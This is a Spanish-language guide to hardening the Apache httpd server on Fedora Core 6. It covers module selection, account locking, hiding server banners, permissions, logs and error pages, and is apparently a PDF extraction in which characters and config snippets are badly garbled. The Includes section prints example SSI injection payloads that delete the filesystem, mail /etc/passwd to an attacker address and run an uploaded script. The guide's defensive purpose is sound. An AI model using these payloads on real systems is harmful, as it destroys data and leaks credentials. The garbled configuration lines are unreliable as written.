Sunteți pe pagina 1din 40

Configuracin del servicio: httpd

El servidor Apache (o httpd) es uno de los servicios ms estables y seguros que se entregan con la distribucin de FC6 pero el gran nmero de opciones y directrices disponibles hacen que ste pueda se vulnerable! por lo que debemos asegurar muy bien todas las opciones" #ebido a que el servicio httpd es uno de los servidores cr$ticos del sistema! trataremos cuidadosamente todos los aspectos de seguridad

Instalacin
%a primera decisin que debemos tomar es la re&erente a la &orma de instalat este servicio indistintamente podemos instalar httpd compilando el cdigo o a trav s del paquete pre'compilado de la distribucin fedora" Cada una da las opciones tiene venta(as y inconvenientes) *i compilamos el cdigo podemos controlar muchar mas opciones (e incluso reali+ar un chroot te este servicio) podemos seleccionar los mdulos en tiempo de compilacin y evitar instalar archivos innecesarios! etc" *in embargo este proceso puede ser muy costoso ya que las actuali+aciones re se reali+arn de &orma manual! descartaremos este sobretodo si se usan mdulos de &recuente actuali+acin (como por e(emplo el ,-,) %a opcin de instalacin a trav s de un paquete pre'compilado es la habitual para las distribuciones estndar linu. (como fedora)" Esta opcin nos permite reali+ar las actuali+aciones del servicio de &orma automtica! a trav s de yum u otro servicio de actuali+acin de paquetes" *in embargo esto nos quitar libertad en el momento de escoger las opciones o mdulos instalados y puede suceder que tengamos que esperar algun tiempo (que suele oscilar entre dias y meses) para que la aplicacin se vea parcheado incluso en aquellos aspectos relativos a la seguridad del sistema" Escogemos reali+ar la instalacin a trav s del paquete precompilado de la distribucin fedora por las siguientes ra+ones) Copyright / &avshare"com '0'

Facilidad de la instalacin ,ermite que las actuali+aciones y parches se realicen automticamente! a trav s del sistema de actuali+acin que nos proposrciona yum %os mdulos de seguridad mod1ssl y mod1security no requieren recompilar el cdigo para poder ser instalados Instalamos Apache con yum:
yum install httpd

Seleccin de Mdulos
El servidor httpd con&igura por de&ecto muchos mdulos que son innecesarios para su &uncionamiento! el primer paso tras la instalacin es decidir cules son los mdulos que necesitamos para el uso del servidor" 2al y como se hace con los servicios del sistema! es importante deshabilitar aquellos mdulos que hayamos considerado innecesarios" Esta medida incrementar el nivel de seguridad y tambi n de rendimiento sobre el servidor" 3n mdulo o servicio innecesario activo implica una nueva puerta para que el servidor sea atacado sin que nosotros saquemos ningn provecho! por ello es tan importne tener opertativos aquello mdulos que vayamos a necesitas ,ara complementar esta guia es recomendble hacer uso de ladocumentacin online de apache en la que se pro&undica sobre las &uncionalidades de cada mdulo (http)44httpd"apache"org4docs45"54mod4) ,odemos ver los modulos base de nuestro sistema con el comando siguiente)
httpd -l > Compiled in modules: > core.c > prefork.c > http_core.c > mod_so.c

,ara ver todos los mdulos que se cargan dinmicamente)


cat /etc/httpd/conf/httpd.conf /etc/httpd/conf.d/*.conf | / grep ^Load odule > Load odule auth!_host_module modules/mod_auth!_host.so > Load odule mime_module modules/mod_mime.so > Load odule mime_magic_module modules/mod_mime_magic.so > Load odule re"rite_module modules/mod_re"rite.so > Load odule #host_alias_module modules/mod_#host_alias.so > Load odule seten#if_module modules/mod_seten#if.so

Copyright / &avshare"com '5'

> > > > >

Load Load Load Load Load

odule odule odule odule odule

dir_module modules/mod_dir.so log_config_module modules/mod_log_config.so deflate_module modules/mod_deflate.so php$_module modules/li%php$.so ssl_module modules/mod_ssl.so

El ob(etivo de este apartado es identi&icar y minimi+ar los mdulos que carga apache para no incluir tanto una carga adicional como un riesgo de seguridad"

Copyright / &avshare"com '6'

MOD_USERDIR Este mdulo permite que cada usuario disponga de 7eb propia ba(o el alias 8nombre1de1usuario" Este mdulo puede ser usado para relevar cuentas de usuario del sistema ya que el servidor responde de &orma distinta cuando tratamos de acceder a el espacio de un usuario que no e.iste o cuando este usuario no dispone de 7eb propia" *e recomienda desactivar este mdulo
&Load odule userdir_module modules/mod_userdir.so

9espuesta del servidor en caso de e.istencia de usuario! tipo :;6

9espuesta del servidor en caso de no e.istencia de usuario! tipo :;:

Copyright / &avshare"com ':'

MOD_INFO Este mdulo revela in&ormacin cr$tica sobre la con&iguracin del sistema" *e recomienda desactivar"este mdulo
&& Load odule info_module modules/mod_info.so

<n&ormacin

revelada

por

mod1in&o

Copyright / &avshare"com '='

MOD_STATUS Este mdulo revela in&ormacin sobre el estado actual del sistema! puede ser una opcin rpida para la monitori+acin del servidor httpd pero la in&ormacin proporcionada se puede conseguir a trav s de otros comandos como ps o netstat"

*e recomienda desactivar este mdulo


&& Load odule status_module modules/mod_status.so

MOD_AUTOINDEX >enera un listado de directorios similar al que proporcionar$a el comando ls en linu. o dir en la consola de 7indo7" *e recomienda desactivar este mdulo
&& Load odule autoinde'_module modules/mod_autoinde'.so

MOD_INCLUDE Este mdulo permite procesar y e(ecutar scripts **< (*erver *ide <ncludes) contenidos en los archivos tipo html" #ebido a la e.tension del ,-, su uso hoy en d$a es raro" *e recomienda desactivar este mdulo
&& Load odule include_module modules/mod_include.so

Copyright / &avshare"com '6'

MOD_C I Este mdulo se encarga de la e(ecucin de scripts CGI" %as siglas C>< (Common >ate7ay <nter&ace) de&inen un protocolo de comunicacin entre aplicaciones de post'proceso y el servidor httpd! tales aplicaciones son nombradas simplementescrips C><" *i no se e(ecutan scripts cgi perl este mdulo no suele ser de utilidad *e recomienda desactivar este mdulo
&& Load odule cgi_module modules/mod_cgi.so

MOD_DI EST ?odulo encargado de gestionar la autenticacin http tipo ?#= #igest! sin embargo este tipo de autenticacin no est muy di&untida y el mdulo en concreto est marcado como e.perimental" *e recomienda desactivar este mdulo
&& Load odule auth_digest_module modules/mod_auth_digest.so

MOD_AUT!_"ASIC ?dulo encargado de la autenticacin @sica" %os datos tipo de autenticacin via(a a trav s de la red de &orma plana! sin encriptar" Es por ello que no se recomienda este tipo de autenticacin! adems &avshare"com requiere este mdulo" *e recomienda desactivar este mdulo
&& Load odule auth_digest_module modules/mod_auth_digest.so

Con(untamente! deber$amos desactivar las dependencies de ste mdulo"


&& && && && && Load Load Load Load Load odule odule odule odule odule authn_file_module modules/mod_authn_file.so authn_alias_module modules/mod_authn_alias.so authn_anon_module modules/mod_authn_anon.so authn_d%m_module modules/mod_authn_d%m.so authn_default_module modules/mod_authn_default.so

Copyright / &avshare"com 'A'

MOD_AUT!#_!OST ?dulo encargado de las autor+aciones basadas en la ip o nombre del equipo cliente" *e recomien+a activar este mdulo
Load odule auth!_host_module modules/mod_auth!_host.so

MOD_AUT!#_$ ?odulos engargados de permitir o denegar el acceso (o autori+acin) a los recursos basndose en el acceso de usuarios autenticados" Como no necesitamos mecanismos de autenticacin (tanto Basic como Digest) este mdulo no podr ser usado" *e recomien+a desativar este mdulo
&& && && && && Load Load Load Load Load odule odule odule odule odule auth!_user_module modules/mod_auth!_user.so auth!_o"ner_module modules/mod_auth!_o"ner.so auth!_groupfile_module modules/mod_auth!_groupfile.so auth!_d%m_module modules/mod_auth!_d%m.so auth!_default_module modules/mod_auth!_default.so

MOD_LDA%& MOD_AUT!_LDA% Este mdulo se encarga de me(orar el rendimiento para las cone.iones a un directorio o servicio %#A," %#A, (%ight7eight #irectory Access ,rotocol) es un protocolo a nivel de aplicacin que permite el acceso a un servicio de directorio ordenado y distribuido para buscar diversa in&ormacin en un entorno de red" *e recomien+a desativar este mdulo
&& Load odule ldap_module modules/mod_ldap.so && Load odule auth_ldap_module modules/mod_auth_ldap.so

Copyright / &avshare"com 'B'

MOD_%ROX' Este mdulo impementa un servidor proxy o gateway para Apache" Adems dispone de &unciones pro.y para AC,06 (Apache C*erve ,rotocol version 0"6)! F2,! CDEEEC2 (para **%)! -22,4;"F! -22,40";! -22,40"0 Aunque este mdulo poede aunemtar la seguridad de la red si est instalado en equipos que hagan de puente entre %AE y GAE no es til para un servidor de produccin *e recomien+a desativar este mdulo
&& && && && && && Load Load Load Load Load Load odule odule odule odule odule odule pro'y_module modules/mod_pro'y.so pro'y_%alancer_module modules/mod_pro'y_%alancer.so pro'y_ftp_module modules/mod_pro'y_ftp.so pro'y_http_module modules/mod_pro'y_http.so pro'y_connect_module modules/mod_pro'y_connect.so pro'y_a(p_module modules/mod_pro'y_a(p.so

MOD_DA( Este mdulo impementa los niveles de clase 0 y clase 5 Geb#AH (IGeb' based #istributed Authoring and HersioningI) para Apache" El protocolo de Geb#AH hace posible que a trav s del protolo -22, se puedan creas! mover! copiar y borrar recursos de un servidor remoto" Aunque esta &uncionalidad resulta muy interesante y puede tambi n aplicarse a sistemas de almacenamiento generales basados en 7eb! que pueden ser accedidos desde remotamente" Aunque estas caracter$sticas estn relacionadas con &avshare"solo se permite el uso de Geb#AH para acceder a los archivos" *e recomien+a desativar este mdulo
&& Load odule da#_module modules/mod_da#.so && Load odule da#_fs_module modules/mod_da#_fs.so

MOD_MIME Este mdulo asocia meta in&ormacin a archivos basndose en la e.tensin de este" %a in&ormacin asociada tiene que ver con el tipo de contenido! idioma! coleccin de caracteres y codi&icacin" Este mdulo es necesario para el &uncionamiento del servidor" *e recomienda activar este mdulo Copyright / &avshare"com 'F'

Load odule mime_module modules/mod_mime.so

MOD_MIME_MA IC Este mdulo determina el tipo de archivo o mime type basndose en el contenido de tal! lo primeros bytes de cada archivo normalmente contiene metain&ormacin que revela el tipo de contenido" *olo actua en el caso en que el mdulo mime no pueda determinar el tipo" *e recomienda activar este mdulo
Load odule mime_magic_module modules/mod_mime_magic.so

MOD_LO _CONFI Este mdulo se encarga del registro de las peticiones al servidor" ,ermite customi+ar el &ormato de estos directrices y la escritura directa en un archivo o programa e.terno" Concretamente proporciona las directrices) TransferLog! LogFormat y CustomLog *e recomienda activar este mdulo
Load odule log_config_module modules/mod_log_config.so

MOD_NE OTIATION Este mdulo se encarga de la negociacin del contenido deliverado por el servidor! getiona todos los parmetros y variables para escoger la opcin mas adecuada" Entre otros proporciona la directri+ Multiviews que permite sitios multilingues" *e recomienda desactivar este mdulo
&& Load odule negotiation_module modules/mod_negotiation.so

MOD_S%ELIN Este mdulo intenta atenuar los errores ortogr&icos en el momento de las peticiones alservidor" 2rata de encontrar un documento en el directorio que se ha especi&icado que coincida con la peticin del cliente pero permitiendo hasta un error de capitali+acin o ortogr&ico" Copyright / &avshare"com ' 0; '

*e recomienda desactivar este mdulo


&& Load odule speling_module modules/mod_speling.so

MOD_RE)RITE Este mdulo permite la reescritura on the fly de las 39%s en &uncin de un sistema de reglas" Algunas medidas de seguridad tiene que ver con la indenti&icacin y &iltrado de peticiones malintencionadas a trav s de este mdulo" *e recomienda activar este mdulo
Load odule re"rite_module modules/mod_re"rite.so

MOD_ALIAS Este modulo proporciona &uncionalidades para el control de las 39%s" %as directivas que proporcionan) Alias y *criptAlias son usadas para gestionar la correspondencia entre las 39%s y las estructura de archivos! cosa que permite deliverar contenido que no se encuentra en la estructura de &icheros original" *e recomienda desactivar este mdulo
&& Load odule alias_module modules/mod_alias.so

MOD_ACTIONS Este mdulo permite e(ecutar scripts C>< en &uncin del mime type del recurso de la peticin"" *e recomienda desactivar este mdulo
&& Load odule actions_module modules/mod_actions.so

MOD_EN( Este mdulo permite controlas las variables del entorno que se proporcionana a los scripts tipo C>< o **<" *e recomienda desactivar este mdulo
&& Load odule en#_module modules/mod_en#.so

Copyright / &avshare"com ' 00 '

Copyright / &avshare"com ' 05 '

MOD_SETEN(IF Este mdulo permite activar variables de entorno basndose en la caracter$stica de la peticin" A trav s de e.preciones regulares se pueden actiuvar tales variables con el &in de proporcionar in&ormacin a otras partes del servidor! tales como los scrips ,-," El mdulo ssl hace uso de las directrices que proporciona este mdulo por lo que solamente activaremos este mdulo si es servidor tambi n es ci&rado" *e recomienda desactivar este mdulo
&& Load odule seten#if_module modules/mod_seten#if.so

MOD_(!OSTS_ALIAS Este mdulo permite la con&iguracin de los denominados virtual hosts" Esta &uncionalidad permite que para un mismo equipo e <, se puedan alo(ar diversos dominios barndose en la variable ost! que normalmente proporcionan los navegadores habituales o "rowsers" *olamente no sirvesi aprovechamos la caracter$stica para los virtual hosts" *e recomienda desactivar este mdulo
&& Load odule #host_alias_module modules/mod_#host_alias.so

MOD_DIR Este mdulo aJade la redireccin tipo Ktrailing slashL que es la que se produce cuando hemos tecleado en el navegador la 39% siguiene) http)44servername4&oo4dirname *i dirname se corresponde con un directorio de nuestro servidor este mdulo aJadir la barra restante para que la peticin est bien &ormada" http)44servername4&oo4dirname4" Adems proporciona la directiva DirectoryIndex que permite resolver el $ndice correspondiente para la anterior peticin" *e recomienda activar este mdulo
Load odule dir_module modules/mod_dir.so

Copyright / &avshare"com ' 06 '

MOD_EX%IRES Este mdulo permite gestionar y modi&icar las cabeceras -22, Expires y Max#$ge en las respuestas del servidor" *in embaro este mdulo no se encarga de las cabeceras http Modified! que son las que normalmente gestionan la cach del navegador" Este mdulo aunque no se requiere para el &uncionamiento normal de servidor puege agili+ar la trasmisin de archivos" Eormalmente no utili+ado" *e recomienda desactivar este mdulo
Load odule e'pires_module modules/mod_e'pires.so

MOD_!EADERS Este mdulo incluye directivas para controlar y modi&icar cabecetas sobre las peticiones y respuestas -22," E.isten medidas de seguridad que consisten en &alsear con in&ormacin &icticia las cabeecras http a trav s de las directivas que proporciona este mdulo" *e recomienda activar este mdulo
Load odule headers_module modules/mod_headers.so

MOD_USERTAC* Este mdulo permite con&igurar los registro tipo Custom%og para reali+ar el seguimiento de usuarios" ,ermite registrar las cooMies mediante la opcin NOcooMiePn que puede especi&icarse en el &ormato del log" *e recomienda desactivar este mdulo
&& Load odule usertrack_module modules/mod_usertrack.so

MOD_LO IO Este mdulo aJade la &uncionalidad de registrar los bytes que han circulado para la peticin! a tav s de la directiva CustomLog" 9egistra los bytes recibidos en la red! teniendo en cuenta tanto las cabeceras como el cuerpo de las peticiones y respuestas! adems tambi n cuenta los bytes adicionales para la encriptacin **%" *e recomienda desactivar este mdulo Copyright / &avshare"com ' 0: '

&& Load odule logio_module modules/mod_logio.so

MOD_EXT_FILTER Este mdulo aJade la &uncionalidad de parsear por un programa e.terno la respuesta html antes de ser enviada al cliente! esto puede ser til si se quiere e(ecutas por e(emplo cdigo c" *e recomienda desactivar este mdulo
&& Load odule e't_filter_module modules/mod_e't_filter.so

MOD_DEFLATE Este mdulo proporciona la capacidad de comprimir la salida antes de ser enviada al cliente a trav s de una herraminta g+ip" Esta herramienta puede ser Jutil para ahorran anchos de banda pero puede suponer una carga adicional para el servidor" *olamente activar si se est usando este tipo de compresin
Load odule deflate_module modules/mod_deflate.so

A continuacin se muestran dos peticiones para el mismo archivo! la primera es antes de activar este mdulo y la segunda se corresponde con la misma pericin pero con las opciones de deflate activas"
)*+, /styles.css -,,.//./) 011 4097 ... )*+, /styles.css -,,.//./) 011 1407 ...

%a activacin de este mdulo ahorra un A;N del ancho de banda" MOD_CAC!E Este mdulo implementa las &unciones para el mane(o de contenido retenido o content cache que se de&inen en el 9FC 5606" Este mdulo es til para implementar proxys pero no para un servidor de produccin normal *e recomienda desactivar este mdulo
&& && && && Load Load Load Load odule odule odule odule cache_module modules/mod_cache.so mem_cache_module modules/mod_mem_cache.so disk_cache_module modules/mod_disk_cache.so file_cache_module modules/mod_file_cache.so

Copyright / &avshare"com ' 0= '

MOD_SUEXEC ,ermite a script C>< e(ecutarse con un usuario o grupo distinto a el por de &ecto del servidor) apache o httpd" *e recomienda desactivar este mdulo
&&Load odule sue'ec_module modules/mod_sue'ec.so

Copyright / &avshare"com ' 06 '

Actuaciones de Seguridad

A(uste de los parmetros de seguridad en el &ichero de con&iguracin y securi+acin de e(ecutables y archivos de con&iguracin" "lo+ueo ,e la cuenta ,e e-ecuc./n apache ,ara reducir el impacto apache no se e(ecuta como root sin que dispone de una cuenta (y grupo) para la e(ecucin del servicio espec$ci&amente creada" ,ara comprovar el nombre de esta cuenta nos remitiremos al apartado %ser y Group del archivo de con&iguracin principal"
2ser apache *roup apache

En nuestro caso esta cuenta es la denominada apache! pero esta medida no es su&iciente! debemos asegurarnos que no dispone de privilegios para acceder al sistema mediante el comando pass7d)
pass"d -l apache > Locking pass"ord for user apache. > pass"d: 3uccess

El comando anterior bloquea la cuenta reempla+ando la contraseJa en el archivo 4etc4shado7 con el cdigo de bloqueo
cat /etc/shado" | grep apache > apache:!!:/4$56::::::

*i nos &i(amos en el contenido de este archivo observamos en el segundo campo que se corresponoder$a a la contraseJa encriptada! encontramos los carrcetes K00L" Este cdigo indica al sistema que el usuario est bloqueado y no podr reali+ar el login o el acceso a trav s de consola" Como medida adiciona podemos e(ecutar tambi n el siguiente comando)
usermod -s /s%in/nologin apache

El comando anterior reempla+a la shell del usuario por una shell espec$&ica que no permite la e(ecucin de ningn comando" Esta medida garanti+a que aunque el usuario lograra acceder al sistema no podr$a reali+at ninguna accin" ,ara comprobar que esta medida se han reali+ado correctamente
cat /etc/pass"d | grep apache > /etc/pass"d:apache:':76:76:8pache:/#ar/""":/s%in/nologin

Copyright / &avshare"com ' 0A '

No pe1m.t.1 el acceso a la Ra234 A no ser que se especi&ique lo contrario! el servidor hattps sirve cualquier archivo al que pueda acceder" 3n error de con&iguracin o un enlace simblico podr$an e.poner archivos con&idenciales" ,ara evitar los daJos que esto podr$a causar denegamos el acceso a la ra$+de archivos 4! permitiendo solo aquellos 4var47774html destinados a este servicio"
9:irectory /> ;rder deny<allo" :eny from all 9/:irectory> 9:irectory )/#ar/"""/html)> ;rder allo"<deny 8llo" from all 9/:irectory>

Copyright / &avshare"com ' 0B '

Ocultar Informacin del Sistema


%as siguientes directrices sirven para ocultar la in&ormacin que el servidor genera! esta medida evitar la indenti&icacin del sistema o tipo de servidor y di&icultar que un atacante aproveche las vulnerabilidades de una versin concreta o mdulo Se15e1A,m.n %a directiva &erver$dmin indica la direccin de correo del administrador del sitio 7eb %a instalacin por de&ecto de Apache automticamente recoge la direccin de correo del usuario que ha compilado la distribucin en los archivos de con&iguracin! que normalmente ser root'localhost" <ndicando una direccin de correo para un uausio de sistema como root'localhost o aitor'favshare(com revela la e.istencia de la cuenta de sistema y es indeseable" *e debe reempla+ar la direccin de correo por otra gen rica que no coincida direactamente con una cuenta se sistema! el usao de una Alias como we"admin'favshare(com o patagon'iddover(net reduce las posibilidades de .ito para una ataque de email spoofing" 3sar siempre una direccin de correo di&erente al combre de usuario tambi n evita que un usuario malintencionado dedu+ca los usuarios de sistema a partir de stas" ,or e(emplo si indicamos la siguiente con&iguracin
3er#er8dmin aitor=fa#share.com

Esto nos har$a sospechar que aitor es un usuario real del sistema" Con esta in&ormacin un usuario mailentencioando podr$a &or+ar el acceso al sistema con un ataque de &uer+a bruta o "rute force a trav s de la cuenta de aitor! ataque que por otra parte tendr$a .ito si este usuario no ha indicado una contraseJa lo su&icientemente robusta" *e recomienda el uso de una Alias de correo redirigido a la persona indicada o grupo que se encargue de la administracin de los servidores"
3er#er8dmin "e%admins=fa#share.com

Copyright / &avshare"com ' 0F '

Se15e1To6ens Eliminamos la in&ormacin <nnecesaria en el banner (modulos! versin! etc") que normalmente se muestra en las cabeceras -22, de las respuestas del servidor"
3er#er,okens .rod

En las siguientes lineas se muestra primero la respuesta por de&ecto del servidor apache para la opcion &erverTo)ens Full y luego la versin regucida para la misma peticin pero con la opcin &erverTo)ens *rod(
> 3er#er: 8pache//.4.4> ?2ni'@ mod_throttle/4./.0 :8A//.1.4 > mod_fastcgi/0.7.0 mod_g!ip//.4.0B./a .-./7.7.7 > mod_ssl/0.6.00 ;pen33L/1.5.>e > 3er#er: 8pache

Se15e1S.7natu1e Eliminamos la in&ormacin que es almacenada el log de errores y en las pgina que genera el servidor" Esta in&ormacin normalmente contiene la direccin de correo introducida en *erverAdmin
3er#er3ignature ;ff

Use1D.1 %a directiva 3ser#ir podr$a revelar la presencia de una cuenta de usuario en el sistema (mediante peticiones tipo 8user)" Esta directiva debe ser deshabilitada mediante las siguientes con&iguraciones)
9Cf odule mod_userdir.c> 2ser:ir disa%led

Copyright / &avshare"com ' 5; '

9/Cf odule>

Copyright / &avshare"com ' 50 '

Dene7an,o el Acceso a A1ch.5os ,el S.stema ,ara evitar que algunos archivos cr$ticos del sistema puedan mostrarse a trav s del servidor apache de &orma accidental! adems de evitar la opcin Indexes (medida que veremos ms adelante)! es necesario denegar el acceso a un seguido de e.tensiones" ,or de&ecto el servidor ya impide el acceso a los archivos "htaccess y "htpasswd pero es necesario re&or+ar esta medida aJadiendo aquellas e.tenciones o archivos que suelen de(arse olvidados en el servidor"
9Diles atch )?^E.ht|FG|E.%akG|E.%akG|E.H8IG|E.sJlG@)> ;rder allo"< deny :eny from all 9/Diles atch>

%a directiva FilesMatch solamente es aplicable al nombre del archivo y no tiene en cuenta el acceso a los directorios! para denegar el acceso a directorios hacemos uso de la directiva #irectory?atch ,or e(emplo! para denegar el acceso a el directorio de plantillas de templates que genera #reamGeaver y muchas veces es almacenado por error usamos el siguiente &ragmento)
9:irectory atch /templates/> ;rder allo"<deny :eny from all 9/:irectory atch>

Acceso a los 8.che1os y ,e ,.1ecto1.o a apache 9estringir los permisos sobre el e(ecutable de apache 4usr4sbin4httpd de A== (lectura y e(ecucin para todo el mundo) a A;;! limitando de esta manera a que sea root el nico que tenga acceso"
chmod >11 /usr/s%in/httpd

9estringir los permisos sobre el subdirectorio donde se encuentran los &icheros de con&iguracin de Apache 4etc4httpd4con& y 4etc4httpd4con&"d de A== (lectura y e(ecucucin para todo el mundo) a 6;;! de manera que se limita al usuario root el acceder al directorio y poder alterar! borrar o sencillamente leer la con&iguracin de apache"
chmod -K 1B11 /etc/httpd/conf chmod -K 1B11 /etc/httpd/conf.d 3e ha acti#ado el %it de inmuta%le so%re el archi#o /etc/httpd/conf/httpd.conf< donde se encuentra la mayor parte de la

Copyright / &avshare"com ' 55 '

configuraciLn de apache. :e esta manera el fichero no podrM ser alterado a no ser Jue root lo permita.

%a manera de activar este bit es la siguiente)


chattr Ni /etc/httpd/conf/httpd.conf

Comprobamos que e&ectivamente se ha activado el bit)


lsattr /etc/httpd/conf/httpd.conf ----i-------- /etc/httpd/conf/httpd.conf

Q &inalmente si se ha de modi&icar el &ichero tendremos que primero desactivar el bit de inmutable de la siguiente manera)
chattr -i /etc/httpd/conf/httpd.conf ------------- /etc/httpd/conf/httpd.conf

Copyright / &avshare"com ' 56 '

Opciones sobre directorios y archivos %a directiva +ptions controla las caracter$sticas propias de un directorio en particular" A continuacin se indican los parmetros mas destacados para esta directiva y las recomendaciones de seguridad paracada uno de ellos" In,e9es Esta opcim muestra el listado de archivos y directorios cuando se accede a trav s de http a una carpeta que no contiene ningn archivo tipo $ndice (inde."htm! inde."html! etc)" Est activada por de&ecto pero es recomendable desactivarla! de lo contrario los usuraos podr$an descargar documentos con&idenciales como volcados "sql olvidados! contraseJas! etc"
9:irectory )/#ar/"""/html)> ;ptions OCnde'es 9/ :irectory >

#e igual &orma desactivamos los alias que esta directiva requiere"


& 8lias /icons/ )/#ar/"""/icons/) & 9:irectory )/#ar/"""/icons)> & ;ptions Cnde'es ultiAie"s & 8llo";#erride Pone & ;rder allo"<deny & 8llo" from all & 9/:irectory>

y todo lo re&erente a los Fancy<nde. 2ambi n eliminamos los archivos del servidor
rm Ofr /#ar/"""/icons

Copyright / &avshare"com ' 5: '

Follo:SymL.n6s Esta opcin permite el uso de los enlaces simblicos a trav s de la 7eb! por lo que un enlace errneo hacia la ra$+ del sistema K4L podr$a revelar toda la in&ormacin y con&iguraciones reali+adas"

#esactivamos esta &uncionalidad)


9:irectory /> ;ptions -Dollo"3ymLinks 9/:irectory > 9:irectory )/#ar/"""/html)> ;ptions ODollo"3ymLinks 9/:irectory >

Copyright / &avshare"com ' 5= '

E9ecC I Esta opcin permite la e(ecucin de scripts C>< dentro del directorio! esta opcin deber$a aplicarse solamente al directorio para la e(ecucin de script! normalmente 4var47774cgi'bin" A no ser que necesitemos la e(ecucin de los scripts CGI deber$amos deshabilitar incluso en el directoriio indicado la caracter$stica" Eliminamos la directiva del alias cgi'bin"
&3cript8lias /cgi-%in/ )/#ar/"""/cgi-%in/)

Q deshabilitar la e(ecucin de este tipo de archivos


&9:irectory )/#ar/"""/cgi-%in)>

& ;ptions N+'ecC*C & 8dd-andler cgi-script .cgi &9/:irectory >

Copyright / &avshare"com ' 56 '

Inclu,es Esta opcin permite la e(ecucin de los **< o *erver *ide *cripts" Estos son scripts simples que bsicamente &ueron diseJados para la inclusin de pginas y disponen de muy pocas directivas (include, exec, echo, config, fsi-e y printenv)" Estos scripts son e(ecutados antes de devolver la pgina al cliente y permiten de entre otros el diseJo basado en plantillas o templates sin necesidad de usar un lengua(e de programacin comple(o" El &ormato t$pico se corresponde con el siguiente
9Q--&etiJueta #aria%les -->

%a mayor$a de las intrusiones se reali+an aprovechando &allos de programacin en las aplicaciones 7eb! y un ataque de este tipo normalemente aprovecha las vulnerabilidades t$picas de un libro de visitas" 3n atacante podr$a aprovechar un &allo en el cdigo para e(ecutar comandos **< a tav s de un posible error de cdigo" #e hecho e.isten muchas aplicaciones (t$picamente libros de visitas) que no suelen comprobar ni &iltrar la entrada de datos" El atacante rellena los campos con cdigo **<! este ser alacenado en una pgina esttica" %a siguiente persona que visionara el libro de visitas e(ecutar$a el cdigo **<" Hemos algunos e(emplos de cdigo **< que podr$a resultar daJinos)
9Q--&e'ec cmdR)rm -rf /)--> 9Q--&e'ec cmdR)mail hacker=e'ample.com 9mailto:hacker=e'ample.com> 9 cat /etc/pass"d)--> 9Q--&e'ec cmdR)chmod >>> Sftp/incoming/uploaded_hack_script)--> 9Q--&e'ec cmdR)Sftp/incoming/uploaded_hack_script)--> 9Q--&e'ec cmdR)find / -name foo%ar -print)-->

#esactivamos esta &uncionalidad)


;ptions -Dollo"3ymLinks

Copyright / &avshare"com ' 5A '

Lo7s Con&iguramos el servidor apache con el &in de registrar y no perder ninguna in&ormacin que pueda ser relevante" %os registros de acceso o access logs son los que regitran cualquier tipo de acceso a trav s del servidor" ,ara gestionar estos registros! la directri+ logformat de&ine el &ormato para cada entrada de este tipo de registro (pueden e.istir di&erentes &ormatos)" %a directri+ customlog indica el &ormato que se usar (usada normalmente dentro del virtualhost o en las con&iguraciones generales) <ncluiremos las siguientes directrices para almacenar la in&ormacin de acceso
LogDormat )TU-ostVi Th Tl Tu Tt E)TrE) T>s T% / E)TUKefererViE) E)TU2ser-8gentViE)) com%ined CustomLog '''''' com%ined

#etallan las opciones de la directri+ log&ormat)


TU-ostVi Th Tl Tu Tt Tr T>s T% TUKefererVi TU2ser-8gentVi Contenido para el campo -ost ?si e'iste@ dentro de las ca%eceras http. +Juipo Kemoto ?normalmente una ip@ Pom%re +Juipo Kemoto< si se ha%ilita esta opcion 2suario< si se autentifica para el acceso al recurso omento en el Jue el ser#idor reci%e la peticiLn .rimera lWnea de la peticiLn normalmente contiene el tipo de peticiLn ?*+,< -+8:< .;3t@ y la #ersiLn de protocolo +stado Dinal. 3i la peticiLn ha sido satisfecha con normalidad este serM el #alor 011 ,amaXo de la respuesta ?sin ca%eceras http@ Contenido para el campo Keferer ?si e'iste@ dentro de las ca%eceras http Ydem para el anterior pero para el campo 2ser-8gent

%os registros de errores o error logs son aquellos que recogen la in&ormacin del sistema (tal y como un reinicio del servicio) as$ como la in&ormacin cuando se produce algn error o no se puede satis&acer alguna peticin" ,ara este ltimo caso se generar la entrada correspondiente tambi n en el access log( Es recomendable incrementar el nivel de registros para los error logs con las siguientes directrices)
LogLe#el info +rrorlog ''''''

Copyright / &avshare"com ' 5B '

%;7.nas ,e E11o1 Cada tipo de servidor dispone de pginas html para mostrar in&ormacin acerca de los errores que pueden acontecer" En el caso que se produ(era culaquier error! como por e(emplo al acceder a un documentso ine.istente (./. 0 1ot 1ound)! el servidor responder$a con un mensa(e de error que en muchos casos puede identi&icar al mismo servidor apache y la versin que se est e(ecutando" ,ara evitar que un atacante pueda recoger este tipo de in&ormacin debemos cambiar los mensa(es de error por de&ecto de nuestro servidor" >en ricamente se situarn estas pginas accesibles para el administrador de la ver a trav s de &tp" Con ello! adems se pueden integrar estas pginas con la gr&ica o &uncionalidad de la aplicacin desarrollada" ,ara obtener ms in&ormacin sobre los mensa(es de error que cualquier servidor deber$a tratar es recomendable ver la especi&icacin del protoloclo -22,40"0 (http)44777"76"org4,rotocols4r&c56064r&c5606'sec0;"html) *ituaremos las siguientes directrices el el archivo de con&iguracin de apache"
+rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument +rror:ocument 711 71/ 714 717 71$ 716 7/1 7// 7/0 7/4 7/7 7/$ $11 $1/ $10 $14 $1B /error/711.htm /error/71/.htm /error/714.htm /error/717.htm /error/71$.htm /error/716.hrm /error/7/1.htm /error/7//.htm /error/7/0.htm /error/7/4.htm /error/7/7.htm /error/7/$.htm /error/$11.htm /error/$1/.htm /error/$10.htm /error/$14.htm /error/$1B.htm

Q adems se deben incluir los archivos "htm correspondientes para cada tipo de error"

Copyright / &avshare"com ' 5F '

Limitar mtodos !!"


